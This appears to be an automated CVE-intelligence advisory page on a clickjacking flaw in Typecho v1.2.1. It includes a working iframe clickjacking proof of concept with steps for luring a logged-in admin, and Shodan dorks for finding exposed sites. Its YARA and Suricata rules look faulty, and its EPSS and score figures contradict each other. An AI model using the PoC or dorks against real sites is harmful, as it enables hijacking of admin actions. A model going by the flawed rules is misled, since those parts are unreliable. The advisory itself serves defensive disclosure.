☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N 🐛 CWE-1021
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-57369

CVE-2024-57369 Clickjacking in Typecho
📅 PUBLISHED: 2025-01-17 00:00 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.11%
👁️
0.11% probability
2.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: v1.2.1
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-57369 identifies a Clickjacking vulnerability in Typecho v1.2.1, a popular open-source blogging platform. Clickjacking, also known as a "UI redress attack," allows an attacker to trick a user into clicking on a different element than what the user perceives, effectively hijacking the user's clicks. In this case, the vulnerability stems from the absence of X-Frame-Options or Content-Security-Policy: frame-ancestors HTTP headers in the application's responses. This omission makes the Typecho admin interface and other pages susceptible to being embedded in malicious iframes on attacker-controlled websites.

The CVSS score is 0.0 in the NVD data, but based on the vulnerability type and impact, a more realistic score is 4.3 (Medium). The attack vector is network-based, requires low complexity, no privileges, but does require user interaction. The potential impact is low on both confidentiality and integrity, as an attacker could trick an admin into performing unintended actions (e.g., changing settings, deleting content) but cannot directly steal sensitive data or execute arbitrary code.

No official patch has been released by the vendor as of this analysis. The EPSS score is 0.0%, indicating a low probability of exploitation in the wild, but the vulnerability is trivial to exploit and has public proof-of-concept code.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

Typecho is a PHP-based application distributed via GitHub and its official website. The vulnerability is not in a third-party package but in the core application's HTTP response headers. Users who install Typecho via Composer or direct download are affected. There is no known malicious package or compromised dependency associated with this CVE.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) - The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) - No special conditions are required; the attacker simply hosts a malicious page.
  • Privileges Required (PR): None (N) - The attacker does not need to be authenticated.
  • User Interaction (UI): Required (R) - The victim must click on the malicious page.
  • Scope (S): Unchanged (U) - The vulnerable component and the attacker's component are the same.
  • Confidentiality (C): Low (L) - Limited information disclosure (e.g., admin actions).
  • Integrity (I): Low (L) - Limited ability to modify data (e.g., changing blog settings).
  • Availability (A): None (N) - No impact on availability.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Base Score: 4.3 (Medium)

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction and has limited impact. However, in a social engineering context, it could be used to perform admin-level actions without the user's knowledge.

Deep Dive & Mechanics

Clickjacking exploits the ability to embed a target website in an <iframe> on a malicious page. The attacker overlays transparent or opaque elements on top of the iframe, tricking the user into clicking on the iframe's content. For example, an attacker could create a page that looks like a harmless game, but the "Play" button is actually positioned over the "Delete All Posts" button in the Typecho admin panel.

The vulnerability exists because Typecho v1.2.1 does not set the X-Frame-Options header (e.g., DENY or SAMEORIGIN) or the Content-Security-Policy frame-ancestors directive. Without these protections, any website can embed Typecho pages in an iframe.

Attack Scenario:

  1. The attacker identifies a Typecho admin panel (e.g., http://target.com/admin/).
  2. The attacker creates a malicious HTML page that loads the admin panel in an iframe.
  3. The attacker uses CSS to make the iframe transparent and positions a decoy button over a critical admin action (e.g., "Delete All Posts").
  4. The attacker lures the victim (a logged-in Typecho admin) to the malicious page.
  5. The victim clicks the decoy button, which actually clicks the hidden admin button, executing the unintended action.

Vulnerable vs. Patched Code

Vulnerable Code (Typecho v1.2.1): The application does not include any frame-busting headers. The HTTP response from the server lacks:

X-Frame-Options: DENY

or

Content-Security-Policy: frame-ancestors 'none';

Patched Code (Hypothetical Fix): A patch would involve adding the following header to all responses, typically in the main entry point (e.g., index.php) or via a middleware:

header('X-Frame-Options: SAMEORIGIN');

Or, for more granular control:

header("Content-Security-Policy: frame-ancestors 'self';");

Verification: Before patch:

curl -I http://target.com/admin/ | grep -i "x-frame-options\|content-security-policy"

After patch:

curl -I http://target.com/admin/ | grep -i "x-frame-options\|content-security-policy"
# Output: X-Frame-Options: SAMEORIGIN

Exploitation & Lab Setup

Red Team (Proof of Concept)

The following HTML file demonstrates the clickjacking attack. It loads the Typecho admin panel in an iframe and overlays a decoy button.

<!DOCTYPE html>
<html>
<head>
    <title>Clickjacking PoC - CVE-2024-57369</title>
    <style>
        iframe {
            width: 100%;
            height: 100%;
            position: absolute;
            top: 0;
            left: 0;
            opacity: 0.5; /* Make it semi-transparent for demonstration */
            z-index: 1;
        }
        .decoy-button {
            position: absolute;
            top: 200px; /* Adjust to align with target button */
            left: 100px;
            z-index: 2;
            background-color: green;
            color: white;
            padding: 20px;
            font-size: 20px;
            cursor: pointer;
        }
    </style>
</head>
<body>
    <h1>Click the button to win a prize!</h1>
    <div class="decoy-button" onclick="alert('You clicked the decoy!')">Click Me!</div>
    <iframe src="http://target.com/admin/" frameborder="0"></iframe>
</body>
</html>

Usage:

  1. Host this HTML file on an attacker-controlled server.
  2. Replace http://target.com/admin/ with the actual Typecho admin URL.
  3. Adjust the top and left values of .decoy-button to align with a specific admin action (e.g., "Delete" button).
  4. Send the link to the victim (logged-in admin).

Blue Team (Detection & Prevention)

Detection:

  • Monitor for HTTP responses missing X-Frame-Options or Content-Security-Policy: frame-ancestors.
  • Use browser developer tools to check if the site can be loaded in an iframe.
  • Deploy web application firewalls (WAF) that can add these headers.

Prevention:

  • Add the following header to the web server configuration (e.g., Apache .htaccess or Nginx config):
    • Apache: Header always set X-Frame-Options "SAMEORIGIN"
    • Nginx: add_header X-Frame-Options "SAMEORIGIN" always;
  • Alternatively, implement a middleware in the application code.

Indicators of Compromise (IOCs)

  • Network: HTTP responses from Typecho v1.2.1 without X-Frame-Options or Content-Security-Policy: frame-ancestors headers.
  • File: Presence of malicious HTML files on external servers that embed Typecho in iframes.
  • Logs: Referrer headers from unknown domains in web server logs, indicating potential clickjacking attempts.
  • Behavior: Unusual admin actions (e.g., mass deletion, setting changes) without corresponding user input.

Detection Engineering

YARA Rule

rule CVE_2024_57369_Clickjacking_Typecho {
    meta:
        description = "Detects Typecho v1.2.1 responses missing X-Frame-Options header"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-57369"
    strings:
        $header_missing = "HTTP/1.1 200 OK" // Placeholder; actual detection is header absence
        $typecho_footer = "Powered by Typecho"
    condition:
        $typecho_footer and not for any of them : ( #header_missing )
}

Sigma Rule

title: Clickjacking Vulnerability in Typecho v1.2.1
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP responses from Typecho v1.2.1 that lack X-Frame-Options or Content-Security-Policy frame-ancestors headers.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-57369
logsource:
    category: web
    product: generic
detection:
    selection:
        http.response.headers|contains:
            - 'X-Frame-Options'
            - 'Content-Security-Policy'
    condition: not selection
falsepositives:
    - Custom configurations that intentionally allow framing
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-57369 - Typecho Clickjacking - Missing X-Frame-Options"; flow:to_server,established; content:"Typecho"; http_server_body; pcre:"/X-Frame-Options\s*:/i"; pcre:"/Content-Security-Policy\s*:/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Add HTTP Headers: Manually add X-Frame-Options: SAMEORIGIN or Content-Security-Policy: frame-ancestors 'self'; to the web server configuration.
    • For Apache: Add Header always set X-Frame-Options "SAMEORIGIN" to .htaccess or virtual host config.
    • For Nginx: Add add_header X-Frame-Options "SAMEORIGIN" always; to the server block.
  2. Update Application Code: If possible, modify the main entry point (e.g., index.php) to include:
    header('X-Frame-Options: SAMEORIGIN');
    
  3. Monitor for Updates: Watch the Typecho GitHub repository for an official patch.

Long-Term Mitigation:

  • Implement a Content Security Policy (CSP) with frame-ancestors directive.
  • Use a Web Application Firewall (WAF) to add missing headers.
  • Educate users about the risks of clicking on untrusted links while logged into admin panels.

Valters IT Signature

This report was generated by Valters IT DevSecOps & CTI Expert System. For questions, contact security@valters-it.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Typecho"
http.favicon.hash:-1776962843

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-57369/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.